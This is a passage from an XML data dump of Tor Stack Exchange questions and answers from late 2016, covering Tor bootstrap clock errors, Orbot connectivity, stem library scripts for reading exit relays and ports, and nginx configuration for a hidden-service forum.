LastActivityDate="2016-11-14T10:09:32.847" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="13136" PostTypeId="1" CreationDate="2016-11-15T03:20:49.557" Score="0" ViewCount="4367" Body="&lt;p&gt;I've used tor before on my current ISP and never had issues until I upgraded my hard drive and reinstalled windows on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried opening Tor on 2 of my virtual machines from oracle virtual box. This log is from the Windows XP one but I have tried running tor on my Windows 8 box with no luck either. I thought updating my Oracle virtual box to the newest version might have been the issue but it was not. My Avast Antivirus is not stopping Tor. I have tried bridges with no luck. I see that my clock is off but don't know why. It is set to the correct timezone. I don't know how to fix the clock or enable my network. I tried stopping my virtual box guest additions in services.msc that I read would work but didn't. I read to remove the disablenetwork line from torrc file which I don't even see in the file. Oddly I was able to get onto tor once between the issues I keep getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my log 11/13/2016 18:57:47 PM.700 [NOTICE] Bootstrapped 5%: Connecting to directory server 11/13/2016 18:57:47 PM.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server 11/13/2016 18:57:48 PM.000 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection 11/13/2016 18:57:48 PM.100 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus 11/13/2016 18:57:48 PM.600 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus 11/13/2016 18:57:50 PM.000 [WARN] Our clock is 19 hours, 2 minutes behind the time published in the consensus network status document (2016-11-15 01:00:00 UTC). Tor needs an accurate clock to work correctly. Please check your time and date settings! 11/13/2016 18:57:50 PM.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. 11/13/2016 18:57:58 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 11/13/2016 18:57:58 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. 11/13/2016 18:57:58 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 11/13/2016 18:57:58 PM.400 [NOTICE] Delaying directory fetches: DisableNetwork is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have googled my issue and went to many websites including here and have tried a lot of things I read about but none worked. The clock issue and network issue in the log I can't find out how to fix.&lt;/p&gt;&#xA;" OwnerUserId="15062" LastActivityDate="2016-11-15T07:23:59.493" Title="Tor stuck on loading network status" Tags="|windows|" AnswerCount="1" CommentCount="2" ClosedDate="2016-11-16T19:30:11.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="13137" PostTypeId="2" ParentId="13136" CreationDate="2016-11-15T04:40:57.100" Score="0" Body="&lt;p&gt;Ya but how do I fix the clock, I read that post and no one mentions how to fix it. I don't know how to fix it because it is correct. And if it was bad howcome I was able to connect once during my issues but not again.&lt;/p&gt;&#xA;" OwnerUserId="15063" LastActivityDate="2016-11-15T04:40:57.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13140" PostTypeId="1" CreationDate="2016-11-15T06:55:42.633" Score="1" ViewCount="58" Body="&lt;p&gt;tried re-install, still doesn't work&#xA;and it copies 0 Tor log...so i got nothing to show here...&#xA;when the error message &quot;could not connect to Tor control port&quot; pops up, there's nothing else i can do except for clicking &quot;OK&quot;, then &quot;Quit&quot;&#xA;what's wrong? Anyone help?&lt;/p&gt;&#xA;" OwnerUserId="15064" LastActivityDate="2016-11-15T06:55:42.633" Title="could not connect to Tor control port on MacOS X El Captain" Tags="|mac|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13141" PostTypeId="1" CreationDate="2016-11-15T11:57:09.797" Score="0" ViewCount="1623" Body="&lt;p&gt;I'm running Orbot on a Samsung Galaxy S5 (g900f) with Resurrection Rom. My V3 Antivirus secures all my internet traffic, and I use Orbot for all my Internet traffic to anonymize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I start Orbot with launch button, after turning on the transparent mode for only 4-5 Apps, VPN, and Bridge Mode, Orbot connects but in Orfox search I got a 0/0kb download and upload rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After disconnecting Orbot, no Internet is working (Wlan, Mobile) it shows an ! in the status bar. Now I can't connect to Orbot anymore and using my browser shows me a DNS failure message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do?&lt;/p&gt;&#xA;" OwnerUserId="15068" LastEditorUserId="12240" LastEditDate="2016-11-19T23:18:12.233" LastActivityDate="2017-02-18T00:53:46.307" Title="No Internet with Orbot" Tags="|blocked-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13144" PostTypeId="1" AcceptedAnswerId="13151" CreationDate="2016-11-15T15:15:57.777" Score="0" ViewCount="150" Body="&lt;p&gt;I am following &lt;a href=&quot;https://stackoverflow.com/questions/9777192/how-do-i-get-the-tor-exit-node-ip-address-over-the-control-port&quot;&gt;this post&lt;/a&gt; in order to find the &lt;strong&gt;tor exit node IP&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the proposed script ( see below), I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/mnt/.rot//ip.py&quot;, line 6, in &amp;lt;module&amp;gt;&#xA;    for circ in controller.get_circuits():&#xA;  File &quot;/usr/lib/python2.7/dist-packages/stem/control.py&quot;, line 414, in wrapped&#xA;    raise exc&#xA;TypeError: initial_value must be unicode or None, not&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the origin of this error and what should be changed for this script to work?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My control port is open I can access it with &lt;code&gt;telnet&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS: full script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem import CircStatus&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()&#xA;&#xA;  for circ in controller.get_circuits():&#xA;    if circ.status != CircStatus.BUILT:&#xA;      continue&#xA;&#xA;    exit_fp, exit_nickname = circ.path[-1]&#xA;&#xA;    exit_desc = controller.get_network_status(exit_fp, None)&#xA;    exit_address = exit_desc.address if exit_desc else 'unknown'&#xA;&#xA;    print &quot;Exit relay&quot;&#xA;    print &quot;  fingerprint: %s&quot; % exit_fp&#xA;    print &quot;  nickname: %s&quot; % exit_nickname&#xA;    print &quot;  address: %s&quot; % exit_address&#xA;    print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/usr/lib/python2.7/dist-packages/stem/control.py&lt;/code&gt; (from which the error come from)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   409            return func(self, *args, **kwargs)&#xA;   410          except Exception as exc:&#xA;   411            default = get_default(func, args, kwargs)&#xA;   412  &#xA;   413            if default == UNDEFINED:&#xA;   414              raise exc&#xA;   415            else:&#xA;   416              return default&#xA;   417      else:&#xA;   418        @functools.wraps(func)&#xA;   419        def wrapped(self, *args, **kwargs):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user15070" LastEditorDisplayName="user15070" LastEditDate="2016-11-16T02:16:17.980" LastActivityDate="2016-11-17T22:17:40.677" Title="Cannot run control.py in order to find IP" Tags="|circuit|ip-address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13145" PostTypeId="2" ParentId="13144" CreationDate="2016-11-15T18:56:22.680" Score="0" Body="&lt;p&gt;You have your system settings wrong, pehaps: it works like a copy-and-paste for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# python -V&#xA;Python 2.7.9&#xA;&#xA;# python getexit.py&#xA;Exit relay&#xA;&#xA;fingerprint: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;nickname: nickname-scrubbled&#xA;address: 1.2.3.4-scrubbled&#xA;Exit relay&#xA;fingerprint: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&#xA;nickname: nickname2-scrubbled&#xA;address: 5.6.7.8-scrubbled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are you sure you're using the latest Stem library? Mine is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # pip list | grep stem&#xA; stem (1.4.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastEditorDisplayName="user15070" LastEditDate="2016-11-17T22:17:40.677" LastActivityDate="2016-11-17T22:17:40.677" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13147" PostTypeId="1" CreationDate="2016-11-16T03:19:28.330" Score="1" ViewCount="2932" Body="&lt;p&gt;I have set up a hidden service site on Tor and haven't had issues. I decided to add a forum section to the site to allow discussion.  I figured the easiest option would be to use phpbb with the LEMP stack. Meaning I have ubuntu server, nginx, mysql, and php5-fpm installed.  When I open the site through firefox I can open the bulletin board no problem but when I try and open it through the Tor browser it tries to download a file instead. Is this an issue with using php or do I need to do something else to get it to work on the Tor browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I explained my issue well enough.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15079" LastEditorDisplayName="user5" LastEditDate="2017-02-17T05:28:21.527" LastActivityDate="2017-05-18T06:37:57.460" Title="can php be used on Tor" Tags="|help|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13151" PostTypeId="2" ParentId="13144" CreationDate="2016-11-16T20:30:32.877" Score="0" Body="&lt;p&gt;I simply reinstalled &lt;code&gt;stem&lt;/code&gt; from the &lt;a href=&quot;https://git.torproject.org/stem.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;git repository&lt;/a&gt; to solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous installation was realized with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# apt-get install python-stem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on &lt;code&gt;Debian 4.6.4-1kali1 (2016-07-21)&lt;/code&gt;. Another package may have been forgotten.&lt;/p&gt;&#xA;" OwnerDisplayName="user15070" LastActivityDate="2016-11-16T20:30:32.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13152" PostTypeId="2" ParentId="13147" CreationDate="2016-11-17T00:42:29.953" Score="1" Body="&lt;p&gt;The problem was configuration of the server and had nothing to do with the Tor browser.  I had server information in the nginx.conf file and also in the virtual host configurations.  I just commented out the server information in the nginx.conf file and now everything works fine.  &lt;/p&gt;&#xA;" OwnerUserId="15079" LastEditorDisplayName="user5" LastEditDate="2017-02-17T05:27:41.953" LastActivityDate="2017-02-17T05:27:41.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13153" PostTypeId="2" ParentId="13147" CreationDate="2016-11-17T01:53:56.260" Score="0" Body="&lt;p&gt;You should have all your dot-onions to be forward-and-back resolvable via DNS/resolver on your NGinx machine. Use &lt;code&gt;/etc/hosts&lt;/code&gt; and 127.0.0.[2-xxx] addresses for it on dedicated localhost/loopback interfaces. It's simple, secure and very fuckup-proof. I can provide you with configs if you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: config files and HOWTO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;/etc/network/interfaces&lt;/code&gt; you should replace &lt;code&gt;lo loopback&lt;/code&gt; string with this block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto lo lo:0 lo:1 lo:2&#xA;iface lo inet loopback&#xA;&#xA;iface lo:0 inet static&#xA;    address 127.0.0.2&#xA;    netmask 255.0.0.0&#xA;&#xA;iface lo:1 inet static&#xA;    address 127.0.0.3&#xA;    netmask 255.0.0.0&#xA;&#xA;iface lo:2 inet static&#xA;    address 127.0.0.4&#xA;    netmask 255.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can add more if you wish. Next, in &lt;code&gt;/etc/hosts&lt;/code&gt; use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1 localhost&#xA;127.0.0.2 hs1.onion&#xA;127.0.0.3 hs2.onion&#xA;127.0.0.4 hs3.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use your webserver to bind by-ip &lt;strong&gt;and by dedicated-per-vhost user&lt;/strong&gt; your HS virtual hosts. In firewall use any kind of stuff you prefer to block by IP &lt;strong&gt;and&lt;/strong&gt; by user any communications except 127.0.0.1 &amp;lt;-&gt; 127.0.0.X to prevent any network leaks possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using non-local HS setup - it's OK and it's quite obvious in case of opening &quot;an entry point&quot; for existing server in Tor network(like Facebook did it for it's website) - then you can consider using local ISC Bind setup with reverse and forward lookups. The purpose is *to make sure that hs1.onion resolves via &lt;em&gt;system libs&lt;/em&gt;, not the cmdline tools you're used to lookup, because they're using DNS queries explicitly. The desired result is like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;perl -MSocket -le '$a=shift; $x=gethostbyname $a; print inet_ntoa($x);' hs1.onion&lt;/code&gt; into 127.0.0.2 &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;perl -MSocket -le '$a=inet_aton(shift); $_=gethostbyaddr $a, AF_INET; print' 127.0.0.2&lt;/code&gt; returns ns1.onion.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some checklist for localhost-names: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Check NSS switch&lt;/strong&gt; like this: &lt;code&gt;cat /etc/nsswitch.conf | grep &quot;^hosts:&quot;&lt;/code&gt; and make sure &lt;code&gt;files&lt;/code&gt; is set first. If not, edit it and in line starting with &quot;hosts:&quot; put it on a first place.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Fix/check host.conf&lt;/strong&gt; like this &lt;code&gt;cat /etc/host.conf&lt;/code&gt; and add string &lt;code&gt;order hosts,bind&lt;/code&gt; if missing or put &lt;code&gt;hosts&lt;/code&gt; at the first place right after the &lt;code&gt;order&lt;/code&gt;. It's one string too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-11-19T00:47:16.310" LastActivityDate="2016-11-19T00:47:16.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13154" PostTypeId="2" ParentId="13141" CreationDate="2016-11-17T02:12:07.790" Score="1" Body="&lt;p&gt;&quot;My V3 Antivir Safes all my intern Datas&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's your problem. Your antivirus app is interfering with your Internet traffic. Disable or uninstall the app, and Orbot should work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you don't really need antivirus on Android anyway: &lt;a href=&quot;https://lmgtfy.com/?s=d&amp;amp;q=Do+I+need+antivirus+for+Android%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lmgtfy.com/?s=d&amp;amp;q=Do+I+need+antivirus+for+Android%3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-11-17T02:12:07.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13155" PostTypeId="2" ParentId="13130" CreationDate="2016-11-17T14:00:11.103" Score="2" Body="&lt;p&gt;Prolem was solved with the help of some commenters by using tor forward helper tool. It forwards ports appropriately on the internal windows router. For that I downloaded &lt;a href=&quot;https://golang.org/doc/install?download=go1.7.3.windows-amd64.msi&quot; rel=&quot;nofollow noreferrer&quot;&gt;go language builder&lt;/a&gt;, installed it, and build &lt;a href=&quot;https://github.com/Yawning/tor-fw-helper&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-fw-helper&lt;/a&gt; tool from source.&#xA;After that one need to add to torrc two directives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PortForwarding 1&#xA;PortForwardingHelper [path-to]\tor-fw-helper.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1177" LastActivityDate="2016-11-17T14:00:11.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13159" PostTypeId="1" CreationDate="2016-11-18T03:51:04.473" Score="0" ViewCount="665" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r9P6H.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r9P6H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to exclude many of IP address on multiple lines?&lt;/p&gt;&#xA;" OwnerUserId="15100" LastActivityDate="2017-10-14T11:49:45.930" Title="It is possible to exclude many of IP address on multiple lines?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13160" PostTypeId="2" ParentId="13159" CreationDate="2016-11-18T05:26:25.670" Score="1" Body="&lt;p&gt;Yes, as per the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExcludeExitNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual entry for ExludeExitNodes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ExcludeExitNodes node,node,...&#xA;       A list of identity fingerprints, country codes, and address&#xA;       patterns of nodes to never use when picking an exit node---that is,&#xA;       a node that delivers traffic for you outside the Tor network. Note&#xA;       that any node listed in ExcludeNodes is automatically considered to&#xA;       be part of this list too. See the ExcludeNodes option for more&#xA;       information on how to specify nodes. See also the caveats on the&#xA;       &quot;ExitNodes&quot; option below.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it is not recommended and it is also not recommended to change the &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; and &lt;code&gt;HiddenServiceStatistics&lt;/code&gt; applies only to relays, not to clients. Your config looks ill-conceived and harmful.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-18T05:26:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13162" PostTypeId="1" CreationDate="2016-11-18T08:18:56.300" Score="2" ViewCount="577" Body="&lt;p&gt;The title kind of explains the question, but I'm not a security expert and would appreciate an expert's opinion and reasons.&#xA;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="15105" LastActivityDate="2016-11-18T08:18:56.300" Title="should I avoid using Firefox sync in Tor/Orfox?" Tags="|firefox|orbot|" AnswerCount="0" CommentCount="3" ClosedDate="2016-11-19T23:18:59.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="13163" PostTypeId="2" ParentId="10148" CreationDate="2016-11-18T17:30:40.227" Score="0" Body="&lt;p&gt;You should configure TOR with &lt;strong&gt;Meek&lt;/strong&gt;. It is a pluggable transport designed to bypass circumvention by your ISP. The latest version of TOR already has &lt;strong&gt;meek client&lt;/strong&gt; in-built.&lt;/p&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2016-11-18T17:30:40.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13164" PostTypeId="1" AcceptedAnswerId="13165" CreationDate="2016-11-18T22:00:06.227" Score="0" ViewCount="101" Body="&lt;p&gt;The function &lt;code&gt;get_ports()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_ports(listener_type, default = UNDEFINED)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as defined in the stem controller module description &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.get_ports&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; needs a &lt;code&gt;listener_type&lt;/code&gt; variable as argument defined on the link as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listener_type (stem.control.Listener) -- connection type being handled&#xA;by the ports we return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are the values that &lt;code&gt;listener_type&lt;/code&gt; can take?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user15070" LastActivityDate="2016-11-19T02:39:28.517" Title="What is the listener_type argument in the stem controller module?" Tags="|torsocks|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13165" PostTypeId="2" ParentId="13164" CreationDate="2016-11-19T02:39:28.517" Score="0" Body="&lt;p&gt;It tells you on the page you linked to, if you read the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Listener&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;stem.control.Listener&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stem.control.Listener(enum)&#xA;&#xA;Purposes for inbound connections that Tor handles.&#xA;Listener    Description&#xA;&#xA;OR          traffic we're relaying as a member of the network (torrc's ORPort and ORListenAddress)&#xA;DIR         mirroring for tor descriptor content (torrc's DirPort and DirListenAddress)&#xA;SOCKS       client traffic we're sending over Tor (torrc's SocksPort and SocksListenAddress)&#xA;TRANS       transparent proxy handling (torrc's TransPort and TransListenAddress)&#xA;NATD        forwarding for ipfw NATD connections (torrc's NatdPort and NatdListenAddress)&#xA;DNS         DNS lookups for our traffic (torrc's DNSPort and DNSListenAddress)&#xA;CONTROL     controller applications (torrc's ControlPort and ControlListenAddress)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As can be discovered through the link you provided, where it states:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parameters: &#xA;&#xA;    listener_type (stem.control.Listener) -- connection type being handled by the ports we return&#xA;    default (object) -- response if the query fails&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-19T02:39:28.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13168" PostTypeId="1" AcceptedAnswerId="19442" CreationDate="2016-11-19T09:29:59.760" Score="2" ViewCount="2436" Body="&lt;p&gt;I am using Tor Browser to do research work and I use a lot Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to keep Google Cookie intact between Tor Browser restarts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's quite complicated problem so that's why I am asking because I am not sure about consequences of changing various settings as well installing extra add-ons. But I think maybe I should just disable Private Mode and install add-on for cookie whitelist? Would that compromise Tor Privacy?&lt;/p&gt;&#xA;" OwnerUserId="15030" LastEditorUserId="15030" LastEditDate="2016-11-19T10:43:38.203" LastActivityDate="2019-02-18T14:16:11.147" Title="Tor Browser - Keep Cookies for select websites" Tags="|tor-browser-bundle|cookies|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13170" PostTypeId="1" CreationDate="2016-11-19T16:04:41.523" Score="3" ViewCount="612" Body="&lt;p&gt;I am unable to use the function &lt;code&gt;get_ports()&lt;/code&gt; with &lt;code&gt;stem&lt;/code&gt;. It says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# python get_ports.py OR&#xA;[...]&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/socket.py&quot;, line 126, in send&#xA;raise stem.SocketClosed()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_ports.py&lt;/code&gt; contains the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import stem&#xA;from stem.control import Controller&#xA;import sys&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;controller.authenticate()  # provide the password here if you set one&#xA;print controller.get_ports('OR')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am certain my control port is open. My &lt;code&gt;torrc&lt;/code&gt; has the following non-commented lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CookieAuthentication 1&#xA;ControlPort 9051&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why can't I connect to my control port and how to execute the &lt;code&gt;get_ports()&lt;/code&gt; function properly?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS (full output)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# python get_ports.py                                     [git][stem/controller][master]&#xA;Traceback (most recent call last):&#xA;  File &quot;get_ports.py&quot;, line 11, in &amp;lt;module&amp;gt;&#xA;    print controller.get_ports('OR')&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 454, in wrapped&#xA;    return func(self, *args, **kwargs)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 1302, in get_ports&#xA;    return [port for (addr, port) in self.get_listeners(listener_type) if addr == '127.0.0.1']&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 454, in wrapped&#xA;    return func(self, *args, **kwargs)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 1334, in get_listeners&#xA;    for listener in self.get_info(query).split():&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 454, in wrapped&#xA;    return func(self, *args, **kwargs)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 1162, in get_info&#xA;    response = self.msg('GETINFO %s' % ' '.join(params))&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 627, in msg&#xA;    self._socket.send(message)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/socket.py&quot;, line 126, in send&#xA;    raise stem.SocketClosed()&#xA;stem.SocketClosed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15122" LastActivityDate="2021-12-25T00:02:10.177" Title="Cannot use get_ports() with stem modules" Tags="|python|stem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13171" PostTypeId="2" ParentId="13170" CreationDate="2016-11-19T18:29:04.113" Score="0" Body="&lt;p&gt;Works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pip2 show stem&#xA;---&#xA;Name: stem&#xA;Version: 1.5.1&#xA;Location: /usr/local/lib/python2.7/dist-packages&#xA;Requires: &#xA;$ python&#xA;Python 2.7.9 (default, Jun 29 2016, 13:08:31) &#xA;[GCC 4.9.2] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; from stem.control import Controller&#xA;&amp;gt;&amp;gt;&amp;gt; with Controller.from_port(port = 9151) as controller:&#xA;...  controller.authenticate()&#xA;...  print controller.get_ports('OR')&#xA;... &#xA;[]&#xA;&amp;gt;&amp;gt;&amp;gt; with Controller.from_port(port = 9151) as controller:&#xA;...  controller.authenticate()&#xA;...  print controller.get_ports('CONTROL')&#xA;... &#xA;[9151]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are you running this under Tails, Whonix, Subgraph or a similar operating system which uses a control port filter as a security mechanism?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The connection is being terminated from somewhere outside after the GETINFO request is sent, as shown by the &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.SocketClosed&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;stem.SocketClosed&lt;/code&gt;&lt;/a&gt; exception being raised, which took all of 1 minute to find. You should familiarize yourself with utilizing the documentation of libraries if you intend to write code, it is an invaluable skill.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-11-19T18:45:21.233" LastActivityDate="2016-11-19T18:45:21.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13172" PostTypeId="1" CreationDate="2016-11-19T22:00:19.327" Score="1" ViewCount="546" Body="&lt;p&gt;Tails 2.5 and Tails 2.6 were OK.  Tails 2.7 boots from a USB stick as usual, and things appear normal, but Tor-browser will not launch when I click its icon.  It will not launch when I click links, as in GNOME help, in Whisperback, in liferea (spelling?).  Is it just me, my old Mac, or something else, given the following possible clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to messages in &lt;em&gt;dmesg&lt;/em&gt;, something appears to be crashing at the same memory address and generating many lines of similar messages.  Sorry, most of it is over my head and I have not saved it, yet.  I will update this post with all or part of &lt;em&gt;dmesg&lt;/em&gt; text after the next Tails session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things appear to work (GNOME Help, Liferea, Whisperback, perhaps others), yet no matter what I try, Tor-browser will not start.  I await download of a new copy of the .iso as I type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="15125" LastEditorUserId="15125" LastEditDate="2016-11-20T02:21:37.467" 